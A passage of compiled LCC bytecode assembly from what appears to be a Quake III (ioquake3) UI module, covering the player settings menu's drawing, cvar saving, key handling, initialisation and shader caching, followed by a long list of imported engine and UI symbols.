ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
INDIRI4
NEI4 $113
ADDRLP4 16
CNSTI4 1
ASGNI4
ADDRGP4 $114
JUMPV
LABELV $113
ADDRLP4 16
CNSTI4 0
ASGNI4
LABELV $114
ADDRLP4 12
ADDRLP4 16
INDIRI4
ASGNI4
ADDRLP4 4
CNSTI4 16
ASGNI4
ADDRLP4 8
ADDRGP4 text_color_normal
ASGNP4
ADDRLP4 12
INDIRI4
CNSTI4 0
EQI4 $115
ADDRLP4 4
ADDRLP4 4
INDIRI4
CNSTI4 16384
BORI4
ASGNI4
ADDRLP4 8
ADDRGP4 text_color_highlight
ASGNP4
LABELV $115
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
ARGI4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
ARGI4
ADDRGP4 $117
ARGP4
ADDRLP4 4
INDIRI4
ARGI4
ADDRLP4 8
INDIRP4
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
ADDRLP4 32
CNSTI4 64
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
ADDRLP4 32
INDIRI4
ADDI4
ARGI4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
CNSTI4 27
ADDI4
ARGI4
ADDRLP4 0
INDIRP4
ADDRLP4 32
INDIRI4
ADDP4
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 handicap_items
ADDP4
INDIRP4
ARGP4
ADDRLP4 4
INDIRI4
ARGI4
ADDRLP4 8
INDIRP4
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
LABELV $111
endproc PlayerSettings_DrawHandicap 36 20
proc PlayerSettings_DrawEffects 44 20
ADDRLP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
INDIRP4
INDIRI4
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
INDIRI4
NEI4 $120
ADDRLP4 16
CNSTI4 1
ASGNI4
ADDRGP4 $121
JUMPV
LABELV $120
ADDRLP4 16
CNSTI4 0
ASGNI4
LABELV $121
ADDRLP4 12
ADDRLP4 16
INDIRI4
ASGNI4
ADDRLP4 4
CNSTI4 16
ASGNI4
ADDRLP4 8
ADDRGP4 text_color_normal
ASGNP4
ADDRLP4 12
INDIRI4
CNSTI4 0
EQI4 $122
ADDRLP4 4
ADDRLP4 4
INDIRI4
CNSTI4 16384
BORI4
ASGNI4
ADDRLP4 8
ADDRGP4 text_color_highlight
ASGNP4
LABELV $122
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
ARGI4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
ARGI4
ADDRGP4 $124
ARGP4
ADDRLP4 4
INDIRI4
ARGI4
ADDRLP4 8
INDIRP4
ARGP4
ADDRGP4 UI_DrawProportionalString
CALLV
pop
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
CNSTI4 64
ADDI4
CVIF4 4
ARGF4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
CNSTI4 27
ADDI4
CNSTI4 8
ADDI4
CVIF4 4
ARGF4
CNSTF4 1124073472
ARGF4
CNSTF4 1090519040
ARGF4
ADDRGP4 s_playersettings+1412
INDIRI4
ARGI4
ADDRGP4 UI_DrawHandlePic
CALLV
pop
ADDRLP4 36
CNSTI4 64
ASGNI4
ADDRLP4 40
ADDRLP4 0
INDIRP4
ADDRLP4 36
INDIRI4
ADDP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
ADDRLP4 36
INDIRI4
ADDI4
ADDRLP4 40
INDIRI4
CNSTI4 4
LSHI4
ADDI4
CNSTI4 8
ADDI4
CVIF4 4
ARGF4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
CNSTI4 27
ADDI4
CNSTI4 6
ADDI4
CVIF4 4
ARGF4
CNSTF4 1098907648
ARGF4
CNSTF4 1094713344
ARGF4
ADDRLP4 40
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 s_playersettings+1416
ADDP4
INDIRI4
ARGI4
ADDRGP4 UI_DrawHandlePic
CALLV
pop
LABELV $118
endproc PlayerSettings_DrawEffects 44 20
proc PlayerSettings_DrawPlayer 88 28
ADDRGP4 $128
ARGP4
ADDRLP4 4
ARGP4
CNSTI4 64
ARGI4
ADDRGP4 trap_Cvar_VariableStringBuffer
CALLV
pop
ADDRLP4 4
ARGP4
ADDRGP4 s_playersettings+2572
ARGP4
ADDRLP4 80
ADDRGP4 qk_strcmp
CALLI4
ASGNI4
ADDRLP4 80
INDIRI4
CNSTI4 0
EQI4 $129
ADDRGP4 s_playersettings+1444
ARGP4
ADDRLP4 4
ARGP4
ADDRGP4 UI_PlayerInfo_SetModel
CALLV
pop
ADDRGP4 s_playersettings+2572
ARGP4
ADDRLP4 4
ARGP4
ADDRGP4 qk_strcpy
CALLP4
pop
ADDRLP4 68+4
CNSTF4 1125515264
ASGNF4
ADDRLP4 84
CNSTF4 0
ASGNF4
ADDRLP4 68
ADDRLP4 84
INDIRF4
ASGNF4
ADDRLP4 68+8
ADDRLP4 84
INDIRF4
ASGNF4
ADDRGP4 s_playersettings+1444
ARGP4
CNSTI4 22
ARGI4
CNSTI4 11
ARGI4
ADDRLP4 68
ARGP4
ADDRGP4 vec3_origin
ARGP4
CNSTI4 2
ARGI4
CNSTI4 0
ARGI4
ADDRGP4 UI_PlayerInfo_SetInfo
CALLV
pop
LABELV $129
ADDRLP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRLP4 0
INDIRP4
CNSTI4 76
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRLP4 0
INDIRP4
CNSTI4 80
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRGP4 s_playersettings+1444
ARGP4
ADDRGP4 uis+4
INDIRI4
CNSTI4 2
DIVI4
ARGI4
ADDRGP4 UI_DrawPlayer
CALLV
pop
LABELV $127
endproc PlayerSettings_DrawPlayer 88 28
proc PlayerSettings_SaveChanges 0 8
ADDRGP4 $140
ARGP4
ADDRGP4 s_playersettings+624+60+12
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
ADDRGP4 $144
ARGP4
CNSTI4 100
CNSTI4 5
ADDRGP4 s_playersettings+956+64
INDIRI4
MULI4
SUBI4
CVIF4 4
ARGF4
ADDRGP4 trap_Cvar_SetValue
CALLV
pop
ADDRGP4 $147
ARGP4
ADDRGP4 s_playersettings+1052+64
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 uitogamecode
ADDP4
INDIRI4
CVIF4 4
ARGF4
ADDRGP4 trap_Cvar_SetValue
CALLV
pop
LABELV $139
endproc PlayerSettings_SaveChanges 0 8
proc PlayerSettings_MenuKey 8 8
ADDRFP4 0
ADDRFP4 0
INDIRI4
ASGNI4
ADDRFP4 0
INDIRI4
CNSTI4 179
EQI4 $153
ADDRFP4 0
INDIRI4
CNSTI4 27
NEI4 $151
LABELV $153
ADDRGP4 PlayerSettings_SaveChanges
CALLV
pop
LABELV $151
ADDRGP4 s_playersettings
ARGP4
ADDRFP4 0
INDIRI4
ARGI4
ADDRLP4 4
ADDRGP4 Menu_DefaultKey
CALLI4
ASGNI4
ADDRLP4 4
INDIRI4
RETI4
LABELV $150
endproc PlayerSettings_MenuKey 8 8
proc PlayerSettings_SetMenuItems 48 28
ADDRGP4 $140
ARGP4
ADDRLP4 20
ADDRGP4 UI_Cvar_VariableString
CALLP4
ASGNP4
ADDRGP4 s_playersettings+624+60+12
ARGP4
ADDRLP4 20
INDIRP4
ARGP4
CNSTI4 256
ARGI4
ADDRGP4 Q_strncpyz
CALLV
pop
ADDRGP4 $147
ARGP4
ADDRLP4 24
ADDRGP4 trap_Cvar_VariableValue
CALLF4
ASGNF4
ADDRLP4 0
ADDRLP4 24
INDIRF4
CNSTF4 1065353216
SUBF4
CVFI4 4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 0
LTI4 $163
ADDRLP4 0
INDIRI4
CNSTI4 6
LEI4 $161
LABELV $163
ADDRLP4 0
CNSTI4 6
ASGNI4
LABELV $161
ADDRGP4 s_playersettings+1052+64
ADDRLP4 0
INDIRI4
CNSTI4 2
LSHI4
ADDRGP4 gamecodetoui
ADDP4
INDIRI4
ASGNI4
ADDRGP4 s_playersettings+1444
ARGP4
CNSTI4 0
ARGI4
CNSTU4 1124
ARGU4
ADDRGP4 qk_memset
CALLP4
pop
ADDRLP4 4+4
CNSTF4 1125515264
ASGNF4
ADDRLP4 32
CNSTF4 0
ASGNF4
ADDRLP4 4
ADDRLP4 32
INDIRF4
ASGNF4
ADDRLP4 4+8
ADDRLP4 32
INDIRF4
ASGNF4
ADDRGP4 $128
ARGP4
ADDRLP4 36
ADDRGP4 UI_Cvar_VariableString
CALLP4
ASGNP4
ADDRGP4 s_playersettings+1444
ARGP4
ADDRLP4 36
INDIRP4
ARGP4
ADDRGP4 UI_PlayerInfo_SetModel
CALLV
pop
ADDRGP4 s_playersettings+1444
ARGP4
CNSTI4 22
ARGI4
CNSTI4 11
ARGI4
ADDRLP4 4
ARGP4
ADDRGP4 vec3_origin
ARGP4
CNSTI4 2
ARGI4
CNSTI4 0
ARGI4
ADDRGP4 UI_PlayerInfo_SetInfo
CALLV
pop
ADDRGP4 $144
ARGP4
ADDRLP4 40
ADDRGP4 trap_Cvar_VariableValue
CALLF4
ASGNF4
CNSTF4 1084227584
ARGF4
CNSTF4 1120403456
ARGF4
ADDRLP4 40
INDIRF4
ARGF4
ADDRLP4 44
ADDRGP4 Com_Clamp
CALLF4
ASGNF4
ADDRLP4 16
ADDRLP4 44
INDIRF4
CVFI4 4
ASGNI4
ADDRGP4 s_playersettings+956+64
CNSTI4 20
ADDRLP4 16
INDIRI4
CNSTI4 5
DIVI4
SUBI4
ASGNI4
LABELV $154
endproc PlayerSettings_SetMenuItems 48 28
proc PlayerSettings_MenuEvent 12 8
ADDRFP4 4
INDIRI4
CNSTI4 3
EQI4 $174
ADDRGP4 $173
JUMPV
LABELV $174
ADDRLP4 0
ADDRFP4 0
INDIRP4
CNSTI4 8
ADDP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 11
EQI4 $179
ADDRLP4 0
INDIRI4
CNSTI4 13
EQI4 $184
ADDRLP4 0
INDIRI4
CNSTI4 14
EQI4 $183
ADDRGP4 $176
JUMPV
LABELV $179
ADDRGP4 $180
ARGP4
CNSTI4 100
CNSTI4 25
ADDRGP4 s_playersettings+956+64
INDIRI4
MULI4
SUBI4
ARGI4
ADDRLP4 8
ADDRGP4 va
CALLP4
ASGNP4
ADDRGP4 $144
ARGP4
ADDRLP4 8
INDIRP4
ARGP4
ADDRGP4 trap_Cvar_Set
CALLV
pop
ADDRGP4 $177
JUMPV
LABELV $183
ADDRGP4 PlayerSettings_SaveChanges
CALLV
pop
ADDRGP4 UI_PlayerModelMenu
CALLV
pop
ADDRGP4 $177
JUMPV
LABELV $184
ADDRGP4 PlayerSettings_SaveChanges
CALLV
pop
ADDRGP4 UI_PopMenu
CALLV
pop
LABELV $176
LABELV $177
LABELV $173
endproc PlayerSettings_MenuEvent 12 8
proc PlayerSettings_MenuInit 4 12
ADDRGP4 s_playersettings
ARGP4
CNSTI4 0
ARGI4
CNSTU4 2636
ARGU4
ADDRGP4 qk_memset
CALLP4
pop
ADDRGP4 PlayerSettings_Cache
CALLV
pop
ADDRGP4 s_playersettings+272
ADDRGP4 PlayerSettings_MenuKey
ASGNP4
ADDRGP4 s_playersettings+276
CNSTI4 1
ASGNI4
ADDRGP4 s_playersettings+280
CNSTI4 1
ASGNI4
ADDRGP4 s_playersettings+288
CNSTI4 10
ASGNI4
ADDRGP4 s_playersettings+288+12
CNSTI4 320
ASGNI4
ADDRGP4 s_playersettings+288+16
CNSTI4 16
ASGNI4
ADDRGP4 s_playersettings+288+60
ADDRGP4 $196
ASGNP4
ADDRGP4 s_playersettings+288+68
ADDRGP4 color_white
ASGNP4
ADDRGP4 s_playersettings+288+64
CNSTI4 1
ASGNI4
ADDRGP4 s_playersettings+360
CNSTI4 6
ASGNI4
ADDRGP4 s_playersettings+360+4
ADDRGP4 $204
ASGNP4
ADDRGP4 s_playersettings+360+44
CNSTU4 16388
ASGNU4
ADDRGP4 s_playersettings+360+12
CNSTI4 0
ASGNI4
ADDRGP4 s_playersettings+360+16
CNSTI4 78
ASGNI4
ADDRGP4 s_playersettings+360+76
CNSTI4 256
ASGNI4
ADDRGP4 s_playersettings+360+80
CNSTI4 329
ASGNI4
ADDRGP4 s_playersettings+448
CNSTI4 6
ASGNI4
ADDRGP4 s_playersettings+448+4
ADDRGP4 $218
ASGNP4
ADDRGP4 s_playersettings+448+44
CNSTU4 16388
ASGNU4
ADDRGP4 s_playersettings+448+12
CNSTI4 376
ASGNI4
ADDRGP4 s_playersettings+448+16
CNSTI4 76
ASGNI4
ADDRGP4 s_playersettings+448+76
CNSTI4 256
ASGNI4
ADDRGP4 s_playersettings+448+80
CNSTI4 334
ASGNI4
ADDRLP4 0
CNSTI4 144
ASGNI4
ADDRGP4 s_playersettings+624
CNSTI4 4
ASGNI4
ADDRGP4 s_playersettings+624+44
CNSTU4 32768
ASGNU4
ADDRGP4 s_playersettings+624+56
ADDRGP4 PlayerSettings_DrawName
ASGNP4
ADDRGP4 s_playersettings+624+60+8
CNSTI4 20
ASGNI4
ADDRGP4 s_playersettings+624+60+268
CNSTI4 20
ASGNI4
ADDRGP4 s_playersettings+624+12
CNSTI4 192
ASGNI4
ADDRGP4 s_playersettings+624+16
ADDRLP4 0
INDIRI4
ASGNI4
ADDRGP4 s_playersettings+624+20
CNSTI4 184
ASGNI4
ADDRGP4 s_playersettings+624+24
ADDRLP4 0
INDIRI4
CNSTI4 8
SUBI4
ASGNI4
ADDRGP4 s_playersettings+624+28
CNSTI4 392
ASGNI4
ADDRGP4 s_playersettings+624+32
ADDRLP4 0
INDIRI4
CNSTI4 54
ADDI4
ASGNI4
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 81
ADDI4
ASGNI4
ADDRGP4 s_playersettings+956
CNSTI4 3
ASGNI4
ADDRGP4 s_playersettings+956+44
CNSTU4 32768
ASGNU4
ADDRGP4 s_playersettings+956+8
CNSTI4 11
ASGNI4
ADDRGP4 s_playersettings+956+56
ADDRGP4 PlayerSettings_DrawHandicap
ASGNP4
ADDRGP4 s_playersettings+956+12
CNSTI4 192
ASGNI4
ADDRGP4 s_playersettings+956+16
ADDRLP4 0
INDIRI4
ASGNI4
ADDRGP4 s_playersettings+956+20
CNSTI4 184
ASGNI4
ADDRGP4 s_playersettings+956+24
ADDRLP4 0
INDIRI4
CNSTI4 8
SUBI4
ASGNI4
ADDRGP4 s_playersettings+956+28
CNSTI4 392
ASGNI4
ADDRGP4 s_playersettings+956+32
ADDRLP4 0
INDIRI4
CNSTI4 54
ADDI4
ASGNI4
ADDRGP4 s_playersettings+956+68
CNSTI4 20
ASGNI4
ADDRLP4 0
ADDRLP4 0
INDIRI4
CNSTI4 81
ADDI4
ASGNI4
ADDRGP4 s_playersettings+1052
CNSTI4 3
ASGNI4
ADDRGP4 s_playersettings+1052+44
CNSTU4 32768
ASGNU4
ADDRGP4 s_playersettings+1052+8
CNSTI4 12
ASGNI4
ADDRGP4 s_playersettings+1052+56
ADDRGP4 PlayerSettings_DrawEffects
ASGNP4
ADDRGP4 s_playersettings+1052+12
CNSTI4 192
ASGNI4
ADDRGP4 s_playersettings+1052+16
ADDRLP4 0
INDIRI4
ASGNI4
ADDRGP4 s_playersettings+1052+20
CNSTI4 184
ASGNI4
ADDRGP4 s_playersettings+1052+24
ADDRLP4 0
INDIRI4
CNSTI4 8
SUBI4
ASGNI4
ADDRGP4 s_playersettings+1052+28
CNSTI4 392
ASGNI4
ADDRGP4 s_playersettings+1052+32
ADDRLP4 0
INDIRI4
CNSTI4 54
ADDI4
ASGNI4
ADDRGP4 s_playersettings+1052+68
CNSTI4 7
ASGNI4
ADDRGP4 s_playersettings+1236
CNSTI4 6
ASGNI4
ADDRGP4 s_playersettings+1236+4
ADDRGP4 $297
ASGNP4
ADDRGP4 s_playersettings+1236+44
CNSTU4 272
ASGNU4
ADDRGP4 s_playersettings+1236+8
CNSTI4 14
ASGNI4
ADDRGP4 s_playersettings+1236+48
ADDRGP4 PlayerSettings_MenuEvent
ASGNP4
ADDRGP4 s_playersettings+1236+12
CNSTI4 640
ASGNI4
ADDRGP4 s_playersettings+1236+16
CNSTI4 416
ASGNI4
ADDRGP4 s_playersettings+1236+76
CNSTI4 128
ASGNI4
ADDRGP4 s_playersettings+1236+80
CNSTI4 64
ASGNI4
ADDRGP4 s_playersettings+1236+60
ADDRGP4 $314
ASGNP4
ADDRGP4 s_playersettings+536
CNSTI4 6
ASGNI4
ADDRGP4 s_playersettings+536+44
CNSTU4 16384
ASGNU4
ADDRGP4 s_playersettings+536+56
ADDRGP4 PlayerSettings_DrawPlayer
ASGNP4
ADDRGP4 s_playersettings+536+12
CNSTI4 400
ASGNI4
ADDRGP4 s_playersettings+536+16
CNSTI4 -40
ASGNI4
ADDRGP4 s_playersettings+536+76
CNSTI4 320
ASGNI4
ADDRGP4 s_playersettings+536+80
CNSTI4 560
ASGNI4
ADDRGP4 s_playersettings+1148
CNSTI4 6
ASGNI4
ADDRGP4 s_playersettings+1148+4
ADDRGP4 $331
ASGNP4
ADDRGP4 s_playersettings+1148+44
CNSTU4 260
ASGNU4
ADDRGP4 s_playersettings+1148+8
CNSTI4 13
ASGNI4
ADDRGP4 s_playersettings+1148+48
ADDRGP4 PlayerSettings_MenuEvent
ASGNP4
ADDRGP4 s_playersettings+1148+12
CNSTI4 0
ASGNI4
ADDRGP4 s_playersettings+1148+16
CNSTI4 416
ASGNI4
ADDRGP4 s_playersettings+1148+76
CNSTI4 128
ASGNI4
ADDRGP4 s_playersettings+1148+80
CNSTI4 64
ASGNI4
ADDRGP4 s_playersettings+1148+60
ADDRGP4 $348
ASGNP4
ADDRGP4 s_playersettings+1324
CNSTI4 6
ASGNI4
ADDRGP4 s_playersettings+1324+44
CNSTU4 1050628
ASGNU4
ADDRGP4 s_playersettings+1324+12
CNSTI4 0
ASGNI4
ADDRGP4 s_playersettings+1324+16
CNSTI4 0
ASGNI4
ADDRGP4 s_playersettings+1324+76
CNSTI4 640
ASGNI4
ADDRGP4 s_playersettings+1324+80
CNSTI4 480
ASGNI4
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+288
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+360
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+448
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+624
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+956
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+1052
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+1236
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+1148
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+536
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 s_playersettings+1324
ARGP4
ADDRGP4 Menu_AddItem
CALLV
pop
ADDRGP4 PlayerSettings_SetMenuItems
CALLV
pop
LABELV $185
endproc PlayerSettings_MenuInit 4 12
export PlayerSettings_Cache
proc PlayerSettings_Cache 32 4
ADDRGP4 $204
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $218
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $297
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $314
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $331
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $348
ARGP4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
pop
ADDRGP4 $372
ARGP4
ADDRLP4 0
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
ASGNI4
ADDRGP4 s_playersettings+1412
ADDRLP4 0
INDIRI4
ASGNI4
ADDRGP4 $374
ARGP4
ADDRLP4 4
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
ASGNI4
ADDRGP4 s_playersettings+1416
ADDRLP4 4
INDIRI4
ASGNI4
ADDRGP4 $377
ARGP4
ADDRLP4 8
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
ASGNI4
ADDRGP4 s_playersettings+1416+4
ADDRLP4 8
INDIRI4
ASGNI4
ADDRGP4 $380
ARGP4
ADDRLP4 12
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
ASGNI4
ADDRGP4 s_playersettings+1416+8
ADDRLP4 12
INDIRI4
ASGNI4
ADDRGP4 $383
ARGP4
ADDRLP4 16
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
ASGNI4
ADDRGP4 s_playersettings+1416+12
ADDRLP4 16
INDIRI4
ASGNI4
ADDRGP4 $386
ARGP4
ADDRLP4 20
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
ASGNI4
ADDRGP4 s_playersettings+1416+16
ADDRLP4 20
INDIRI4
ASGNI4
ADDRGP4 $389
ARGP4
ADDRLP4 24
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
ASGNI4
ADDRGP4 s_playersettings+1416+20
ADDRLP4 24
INDIRI4
ASGNI4
ADDRGP4 $392
ARGP4
ADDRLP4 28
ADDRGP4 trap_R_RegisterShaderNoMip
CALLI4
ASGNI4
ADDRGP4 s_playersettings+1416+24
ADDRLP4 28
INDIRI4
ASGNI4
LABELV $370
endproc PlayerSettings_Cache 32 4
export UI_PlayerSettingsMenu
proc UI_PlayerSettingsMenu 0 4
ADDRGP4 PlayerSettings_MenuInit
CALLV
pop
ADDRGP4 s_playersettings
ARGP4
ADDRGP4 UI_PushMenu
CALLV
pop
LABELV $393
endproc UI_PlayerSettingsMenu 0 4
bss
align 4
LABELV s_playersettings
skip 2636
import UI_RankStatusMenu
import RankStatus_Cache
import UI_SignupMenu
import Signup_Cache
import UI_LoginMenu
import Login_Cache
import UI_RankingsMenu
import Rankings_Cache
import Rankings_DrawPassword
import Rankings_DrawName
import Rankings_DrawText
import UI_InitGameinfo
import UI_SPUnlockMedals_f
import UI_SPUnlock_f
import UI_GetAwardLevel
import UI_LogAwardData
import UI_NewGame
import UI_GetCurrentGame
import UI_CanShowTierVideo
import UI_ShowTierVideo
import UI_TierCompleted
import UI_SetBestScore
import UI_GetBestScore
import UI_GetNumBots
import UI_GetBotInfoByName
import UI_GetBotInfoByNumber
import UI_GetNumSPTiers
import UI_GetNumSPArenas
import UI_GetNumArenas
import UI_GetSpecialArenaInfo
import UI_GetArenaInfoByMap
import UI_GetArenaInfoByNumber
import UI_NetworkOptionsMenu
import UI_NetworkOptionsMenu_Cache
import UI_SoundOptionsMenu
import UI_SoundOptionsMenu_Cache
import UI_DisplayOptionsMenu
import UI_DisplayOptionsMenu_Cache
import UI_SaveConfigMenu
import UI_SaveConfigMenu_Cache
import UI_LoadConfigMenu
import UI_LoadConfig_Cache
import UI_TeamOrdersMenu_Cache
import UI_TeamOrdersMenu_f
import UI_TeamOrdersMenu
import UI_RemoveBotsMenu
import UI_RemoveBots_Cache
import UI_AddBotsMenu
import UI_AddBots_Cache
import trap_SetPbClStatus
import trap_VerifyCDKey
import trap_SetCDKey
import trap_GetCDKey
import trap_MemoryRemaining
import trap_LAN_GetPingInfo
import trap_LAN_GetPing
import trap_LAN_ClearPing
import trap_LAN_ServerStatus
import trap_LAN_GetPingQueueCount
import trap_LAN_GetServerInfo
import trap_LAN_GetServerAddressString
import trap_LAN_GetServerCount
import trap_GetConfigString
import trap_GetGlconfig
import trap_GetClientState
import trap_GetClipboardData
import trap_Key_SetCatcher
import trap_Key_GetCatcher
import trap_Key_ClearStates
import trap_Key_SetOverstrikeMode
import trap_Key_GetOverstrikeMode
import trap_Key_IsDown
import trap_Key_SetBinding
import trap_Key_GetBindingBuf
import trap_Key_KeynumToStringBuf
import trap_S_RegisterSound
import trap_S_StartLocalSound
import trap_CM_LerpTag
import trap_UpdateScreen
import trap_R_DrawStretchPic
import trap_R_SetColor
import trap_R_RenderScene
import trap_R_AddLightToScene
import trap_R_AddPolyToScene
import trap_R_AddRefEntityToScene
import trap_R_ClearScene
import trap_R_RegisterShaderNoMip
import trap_R_RegisterSkin
import trap_R_RegisterModel
import trap_FS_Seek
import trap_FS_GetFileList
import trap_FS_FCloseFile
import trap_FS_Write
import trap_FS_Read
import trap_FS_FOpenFile
import trap_Cmd_ExecuteText
import trap_Argv
import trap_Argc
import trap_Cvar_InfoStringBuffer
import trap_Cvar_Create
import trap_Cvar_Reset
import trap_Cvar_SetValue
import trap_Cvar_VariableStringBuffer
import trap_Cvar_VariableValue
import trap_Cvar_Set
import trap_Cvar_Update
import trap_Cvar_Register
import trap_Milliseconds
import trap_Error
import trap_Print
import UI_SPSkillMenu_Cache
import UI_SPSkillMenu
import UI_SPPostgameMenu_f
import UI_SPPostgameMenu_Cache
import UI_SPArena_Start
import UI_SPLevelMenu_ReInit
import UI_SPLevelMenu_f
import UI_SPLevelMenu
import UI_SPLevelMenu_Cache
import uis
import m_entersound
import UI_StartDemoLoop
import UI_Cvar_VariableString
import UI_Argv
import UI_ForceMenuOff
import UI_PopMenu
import UI_PushMenu
import UI_SetActiveMenu
import UI_IsFullscreen
import UI_DrawTextBox
import UI_AdjustFrom640
import UI_CursorInRect
import UI_DrawChar
import UI_DrawString
import UI_ProportionalStringWidth
import UI_DrawProportionalString_AutoWrapped
import UI_DrawProportionalString
import UI_ProportionalSizeScale
import UI_DrawBannerString
import UI_LerpColor
import UI_SetColor
import UI_UpdateScreen
import UI_DrawRect
import UI_FillRect
import UI_DrawHandlePic
import UI_DrawNamedPic
import UI_ClampCvar
import UI_ConsoleCommand
import UI_Refresh
import UI_MouseEvent
import UI_KeyEvent
import UI_Shutdown
import UI_Init
import UI_RegisterClientModelname
import UI_PlayerInfo_SetInfo
import UI_PlayerInfo_SetModel
import UI_DrawPlayer
import DriverInfo_Cache
import GraphicsOptions_Cache
import UI_GraphicsOptionsMenu
import ServerInfo_Cache
import UI_ServerInfoMenu
import UI_BotSelectMenu_Cache
import UI_BotSelectMenu
import ServerOptions_Cache
import StartServer_Cache
import UI_StartServerMenu
import ArenaServers_Cache
import UI_ArenaServersMenu
import SpecifyServer_Cache
import UI_SpecifyServerMenu
import SpecifyLeague_Cache
import UI_SpecifyLeagueMenu
import Preferences_Cache
import UI_PreferencesMenu
import PlayerModel_Cache
import UI_PlayerModelMenu
import UI_CDKeyMenu_f
import UI_CDKeyMenu_Cache
import UI_CDKeyMenu
import UI_ModsMenu_Cache
import UI_ModsMenu
import UI_CinematicsMenu_Cache
import UI_CinematicsMenu_f
import UI_CinematicsMenu
import Demos_Cache
import UI_DemosMenu
import Controls_Cache
import UI_ControlsMenu
import UI_DrawConnectScreen
import TeamMain_Cache
import UI_TeamMainMenu
import UI_SetupMenu
import UI_SetupMenu_Cache
import UI_Message
import UI_ConfirmMenu_Style
import UI_ConfirmMenu
import ConfirmMenu_Cache
import UI_InGameMenu
import InGame_Cache
import UI_CreditMenu
import UI_UpdateCvars
import UI_RegisterCvars
import UI_MainMenu
import MainMenu_Cache
import MenuField_Key
import MenuField_Draw
import MenuField_Init
import MField_Draw
import MField_CharEvent
import MField_KeyDownEvent
import MField_Clear
import ui_medalSounds
import ui_medalPicNames
import ui_medalNames
import text_color_highlight
import text_color_normal
import text_color_disabled
import listbar_color
import list_color
import name_color
import color_dim
import color_red
import color_orange
import color_blue
import color_yellow
import color_white
import color_black
import menu_dim_color
import menu_black_color
import menu_red_color
import menu_highlight_color
import menu_dark_color
import menu_grayed_color
import menu_text_color
import weaponChangeSound
import menu_null_sound
import menu_buzz_sound
import menu_out_sound
import menu_move_sound
import menu_in_sound
import ScrollList_Key
import ScrollList_Draw
import Bitmap_Draw
import Bitmap_Init
import Menu_DefaultKey
import Menu_SetCursorToItem
import Menu_SetCursor
import Menu_ActivateItem
import Menu_ItemAtCursor
import Menu_Draw
import Menu_AdjustCursor
import Menu_AddItem
import Menu_Focus
import Menu_Cache
import ui_ioq3
import ui_cdkeychecked
import ui_cdkey
import ui_server16
import ui_server15
import ui_server14
import ui_server13
import ui_server12
import ui_server11
import ui_server10
import ui_server9
import ui_server8
import ui_server7
import ui_server6
import ui_server5
import ui_server4
import ui_server3
import ui_server2
import ui_server1
import ui_marks
import ui_drawCrosshairNames
import ui_drawCrosshair
import ui_brassTime
import ui_browserShowEmpty
import ui_browserShowFull
